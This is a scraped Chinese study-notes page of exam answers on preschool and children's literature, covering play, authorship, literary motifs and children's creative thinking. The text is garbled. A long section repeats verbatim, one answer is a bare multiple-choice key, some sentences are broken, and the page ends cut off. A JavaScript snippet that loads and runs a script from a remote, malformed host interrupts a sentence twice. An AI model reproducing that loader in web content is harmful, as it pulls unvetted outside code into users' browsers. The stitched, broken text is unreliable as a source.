① 以幼兒年齡特點為根據，簡論幼兒文學為什麼特別強調為游戲精神
因為幼兒活潑好動，游戲正好迎合了幼兒這一特點。
② 【幼兒、兒童文學選擇題】
D,B,C,A,D,B,D,C,C,D,D,D,A,D,A,D,A,B,B,D,C,B,D
③ 簡要論述一下幼兒文學創作的基本要求
一、兒童文學作者應具有的條件
①要有對兒童的愛心好責任感。
②要有獨特的生活積累。
③要有特殊的審美意識。
4 要有特殊的藝術創造力和表現力。
二、 從創作動機看， 兒童文學作者的分類
（一）：自覺型。 即 他們具有明確「為兒童創作」的目的。
①教育型。 例 張天翼
②社會使命型。 例如曹文軒
③娛樂型。 例鄭淵潔
（二）：自發型 即他們並沒有的「為兒童創作」的目的。
① 童心型。泰戈爾《新月集》
②兒童崇拜型。③ 童年回憶型。 例陳丹燕 《中國少女》
⑵從社會職業身份來看， 兒童文學作者的分類
①專業作家
②少年兒童出版社或少年兒童雜志的編輯
③教師，尤其是中小學和幼兒園的教師
④中小學生
三、兒童文學的創作過程有哪幾個階段？和成人文學創作相比 各階段有什麼特殊性？
①題材
②構思
③文學表達
四、你是怎樣理解兩種審美意識的協調作用的？試以你自己的兒童文學創作實踐的例子說明
文學創作是一種審美活動。如前所說，兒童文學作者的創作心理共存著兩種審美意識：成人審美意識和兒童審美意識。兩種審美意識的協調作用自始自終支配著整個兒童文學創作過程：一方面，成人審美意識始終處於主導地位，它清醒地把著審美水平的關，提高和深化著兒童的審美水平；並且自覺而熱情地調動著兒童審美方式的積極性。另一方面，兒童審美意識又始終發揮著制約作用和能動作用。它隨時提醒作者要顧及讀者的審美能力，防止成人審美意識的排斥和取代。又當仁不讓地處處表現自己在審美方式上的才幹，使自己居於台前，而把成人審美意識推到幕後。
五、兒童文學有哪三大母題？試舉例簡述每個母題的特點（表述方式）？
兒童文學創作的三個最基本的母題是：
① 愛的母題。「愛的母題」所體現的，是成人對於兒童的眼光，有一種 「親切溫馨」 （母愛）或「端莊深邃「（父愛）藝術氣氛。（ 成人身份的表述方式 ） 《猜猜我有多愛你》《愛心樹》
② 頑童的母題。「頑童的母題」則體現著兒童自己的眼光，有一種 「奇異狂放」 的藝術氣氛。（ 兒童身份的表述方式 ）《大海的盡頭在哪裡啊》
③ 自然的母題。「自然的母題」所體現的則是人類共同的目的，有一種「 悠遠率真」 的藝術氣氛。（ 人類共同身份的表述方式 ）
④ 為什麼幼兒文學特別強調「文學性」與「幼兒性」的統一
幼兒作為幼兒文學的主要消費者，其年齡特徵制約下的生理、心理、情感等是決定「產品」生產的重要因素。創作幼兒文學作品強調適齡性，欣賞也是同理。適齡性主要指選擇的作品適合幼兒的心理水平和相應的欣賞情趣。幼兒情趣是指幼兒文學作品所具有的幼兒情調和趣味，也就是說它制約下的幼兒文學應該同時具有「幼兒性」和「文學...性」。
⑤ 何謂兒童文學鑒賞的創造性
1思維的幻想性和想像性。
2主題的明朗性與目的性。
3形象性格的鮮明性與可模仿性。
4情節的故事性與完整性。
5語言的生動性與趣味性。
⑥ 幼兒文學具有哪些特點
文學具有嚮往描述和真善美的特點，因為只有這樣才是有利於小孩子，他的身心發展的才能夠被痛過
⑦ 怎樣培養幼兒的創造性想像 兒童心理學
一、了解思維發展的過程。 要想培養幼兒的創造性思維的發展，首先應該了解什麼是思維？思維是思索與判斷的過程。在心理學上，一般把思維定義為：思維是人腦對客觀事物間接和概括的認識過程，並且通過這種認識，可以把握事物的一般屬性和本質屬性，它是一種復雜的、系統的心理現象。隨著年齡的增長，幼兒思維也隨之發展：0～3歲幼兒動作思維為主在這個階段，思維是依*感知和動作來完成的。孩子只有在聽、看、玩的過程中，才能進行思維； 4歲幼兒從動作思維向形象思維過渡。他可以依*頭腦中的表象和具體事物的聯想展開，但是形象思維也佔了很大比例。5～6歲幼兒形象思維佔主導地位，但已經初步出現抽象邏輯思維。對事物的理解也發生各種變化，可以聽懂大人的描述並可用語言對事物進行評 價。 二、 掌握幼兒創造性思維的特點。 幼兒由於生理心理的特殊性，創造思維也具有自身的特點。 （1）由於幼兒身心發展的限制，幼兒的創造能力和意志力都較弱，因此幼兒的創造活動不易持久，他們的創造願望來得快，也去的快，常常是瞬間即逝，如果有成人及時的引導和鼓勵，幼兒的創造能力就會向前發展。 （2）幼兒喜歡幻想，富於想像，他們的創造性思維常常是由創造性想像引起的，但他們的心理具有較大的隨意性，受興趣的影響較大，興趣可以振奮幼兒的智力，激發創造的積極性，因此，教師要善於保持幼兒的興趣和調動幼兒的興趣。 （3）幼兒由於環境、教育、遺傳等不同的作用和影響，他們的創造性思維水平是有很大差異的，比如有的幼兒擅長創編故事，有的幼兒擅長美工創作，如果這些幼兒的創造才能能夠得到盡早的發現和培養，對幼兒的發展是很有益的，在一般的情況下，只要有環境和教育起積極的作用，幼兒的創造性思維都會有較大的發展，但不能根據幼兒的一時表現，就斷言其創造能力的高下。 三、啟發家長，重視家庭環境對幼兒創造性思維的影響 。 心理學研究表明，當幼兒產生了心理安全感和獲得了心理自由時，最有利於他們的創造性的發展和表現。幼兒在家庭里一般不受拘束，他們在親情的影響下，敢於擺弄家中的一切東西，甚至對父母的專用物品，他們也敢於探究，即使因此受到過父母的責罰，但過了一段時間後他們仍然會對未曾了解清楚的物品再產生探究的興趣。另外父母的專業愛好、解決問題的方法、對幼兒的學習指導方法等因素對幼兒的思維能力都有重大影響。所以，我們應該經常向家長宣傳幼兒教育的理論，介紹幼兒教育發展方面的知識和方法，讓他們能夠重 var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script); 視幼兒在家庭中的各種求異思維的表現，使幼兒所萌發出來的創造性思維能有充分的發展空間。魯迅先生曾經講過「文學家的孩子熟悉筆墨；木匠的孩子熟悉斧鋸；軍事家的孩子會擺弄刀槍。」這說明家長的職業及專業愛好對幼兒的興趣有直接的影響，但這種影響還只是模仿式的教育。我們所強調的家庭教育因素，實際上是要求家長要重視幼兒在思維方面的發展因素。 四、抓住幼兒的興趣，激發求知的慾望和創造的慾望。 托爾斯泰說過：「成功的教學所需要的不是強制，而是激發學生的興趣。」幼兒在進行活動時，興趣起了舉足輕重的作用。當幼兒興趣濃厚時，他會專心的研究，探索。從中發現問題並解決。興趣又可稱為「好奇心」， 好奇既是天性也是一種十分可貴的心理素質。因為好奇，孩子就會有探索周圍事物的興趣，並在探索活動中豐富和積累知識經驗，發展創造性思維能力。兒童心理學家指出：凡是因好奇心而受到獎勵的孩子，都願意繼續進行某種試驗和探索，這既有助於培養孩子的創造性思維能力，又能增強孩子的自信心。因此，在日常生活中，要呵護孩子的好奇心。 此外，創造性思維更偏重於發散性思維，是一種從多角度、多方位探索問題尋找答案的非常規、反常規的思考方式，往往有想像和幻想成分的參與。 創造離不開想像，孩子的想像力可以開啟幻想世界。只有在這種自由幻想世界裡，創造思維才會萌發。因此，我們要鼓勵孩子異想天開、標新立異，積極引導孩子大膽幻想，在條件可能的情況下，還應設法促使孩子動手參與活動，讓他們在活動中去尋求答案。但要提醒幼兒不可脫離事實。 五、豐富幼兒的生活經驗，在學習活動中發展幼兒的創造性 。 幼兒園的教育活動非常多，各種教育活動的內容不同，可以使幼兒不斷產 一、了解思維發展的過程。 要想培養幼兒的創造性思維的發展，首先應該了解什麼是思維？思維是思索與判斷的過程。在心理學上，一般把思維定義為：思維是人腦對客觀事物間接和概括的認識過程，並且通過這種認識，可以把握事物的一般屬性和本質屬性，它是一種復雜的、系統的心理現象。隨著年齡的增長，幼兒思維也隨之發展：0～3歲幼兒動作思維為主在這個階段，思維是依*感知和動作來完成的。孩子只有在聽、看、玩的過程中，才能進行思維； 4歲幼兒從動作思維向形象思維過渡。他可以依*頭腦中的表象和具體事物的聯想展開，但是形象思維也佔了很大比例。5～6歲幼兒形象思維佔主導地位，但已經初步出現抽象邏輯思維。對事物的理解也發生各種變化，可以聽懂大人的描述並可用語言對事物進行評 價。 二、 掌握幼兒創造性思維的特點。 幼兒由於生理心理的特殊性，創造思維也具有自身的特點。 （1）由於幼兒身心發展的限制，幼兒的創造能力和意志力都較弱，因此幼兒的創造活動不易持久，他們的創造願望來得快，也去的快，常常是瞬間即逝，如果有成人及時的引導和鼓勵，幼兒的創造能力就會向前發展。 （2）幼兒喜歡幻想，富於想像，他們的創造性思維常常是由創造性想像引起的，但他們的心理具有較大的隨意性，受興趣的影響較大，興趣可以振奮幼兒的智力，激發創造的積極性，因此，教師要善於保持幼兒的興趣和調動幼兒的興趣。 （3）幼兒由於環境、教育、遺傳等不同的作用和影響，他們的創造性思維水平是有很大差異的，比如有的幼兒擅長創編故事，有的幼兒擅長美工創作，如果這些幼兒的創造才能能夠得到盡早的發現和培養，對幼兒的發展是很有益的，在一般的情況下，只要有環境和教育起積極的作用，幼兒的創造性思維都會有較大的發展，但不能根據幼兒的一時表現，就斷言其創造能力的高下。 三、啟發家長，重視家庭環境對幼兒創造性思維的影響 。 心理學研究表明，當幼兒產生了心理安全感和獲得了心理自由時，最有利於他們的創造性的發展和表現。幼兒在家庭里一般不受拘束，他們在親情的影響下，敢於擺弄家中的一切東西，甚至對父母的專用物品，他們也敢於探究，即使因此受到過父母的責罰，但過了一段時間後他們仍然會對未曾了解清楚的物品再產生探究的興趣。另外父母的專業愛好、解決問題的方法、對幼兒的學習指導方法等因素對幼兒的思維能力都有重大影響。所以，我們應該經常向家長宣傳幼兒教育的理論，介紹幼兒教育發展方面的知識和方法，讓他們能夠重 var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChil